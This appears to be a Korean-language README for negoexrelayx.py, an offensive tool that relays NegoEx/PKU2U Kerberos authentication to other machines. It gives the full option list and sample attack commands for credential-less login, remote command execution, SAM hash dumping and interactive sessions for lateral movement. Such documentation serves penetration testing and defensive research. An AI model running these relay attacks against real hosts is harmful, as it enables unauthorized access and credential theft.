
NegoEx/PKU2U Kerberos 인증을 임의의 대상에 릴레이하여 자격 증명 없는 인증, 명령 실행, SMB 해시 덤프 및 횡적 이동을 위한 대화형 세션을 가능하게 합니다.
Kerberos PKU2U 및 NegoEx를 악용하기 위한 도구 키트입니다. impacket이 필요합니다. 최신 버전을 사용하려면 impacket을 git에서 직접 설치하는 것이 좋습니다.
이 도구를 사용하면 NegoEx(PKU2U 사용) 인증을 다른 컴퓨터로 릴레이하여 자격 증명을 알지 못해도 인증할 수 있습니다. Ntlmrelayx와 유사합니다.
NegoEx relay tool. By @rubin_mor
Main options:
-h, --help show this help message and exit
-ts Adds timestamp to every logging output
-debug Turn DEBUG output ON
-t TARGET, --target TARGET
Target to relay the credentials to, can be an IP,
hostname or URL like domain\username@host:port
(domain\username and port are optional, and don't
forget to escape the '\'). If unspecified, it will
relay back to the client')
-tf TARGETSFILE File that contains targets by hostname or full URL,
one per line
-w Watch the target file for changes and update target
list automatically (only valid with -tf)
-i, --interactive Launch an smbclient or LDAP console insteadof
executing a command after a successful relay. This
console will listen locally on a tcp port and can be
reached with for example netcat.
-ip INTERFACE_IP, --interface-ip INTERFACE_IP
IP address of interface to bind SMB and HTTP servers
--smb-port SMB_PORT Port to listen on smb server
--no-multirelay If set, disable multi-host relay (SMB and HTTP
servers)
-ra, --random Randomize target selection
-r SMBSERVER Redirect HTTP requests to a file:// path on SMBSERVER
-l LOOTDIR, --lootdir LOOTDIR
Loot directory in which gathered loot such as SAM
dumps will be stored (default: current directory).
-of OUTPUT_FILE, --output-file OUTPUT_FILE
base output filename for encrypted hashes. Suffixes
will be added for ntlm and ntlmv2
-codec CODEC Sets encoding used (codec) from the target's output
(default "utf-8"). If errors are detected, run
chcp.com at the target, map the result with https://do
cs.python.org/3/library/codecs.html#standard-encodings
and then execute ntlmrelayx.py again with -codec and
the corresponding codec
-smb2support SMB2 Support
-6, --ipv6 Listen on both IPv6 and IPv4
--serve-image SERVE_IMAGE
local path of the image that will we returned to
clients
-c COMMAND Command to execute on target system (for SMB and RPC).
If not specified for SMB, hashes will be dumped
(secretsdump.py must be in the same directory). For
RPC no output will be provided.
-clientname CLIENTNAME
A new name for the client name
SMB client options:
-e FILE File to execute on the target system. If not
specified, hashes will be dumped (secretsdump.py must
be in the same directory)
--enum-local-admins If relayed user is not admin, attempt SAMR lookup to
see who is (only works pre Win 10 Anniversary)
특정 대상을 공격하려면 다음 명령으로 서버를 시작할 수 있습니다(SMB2가 일반적으로 필수입니다).
negoexrelayx.py -t IP -smb2support
특정 대상을 공격하고 PKU2U에서 클라이언트 이름을 변경하려면
negoexrelayx.py -t IP -clientname NEW_NAME -smb2support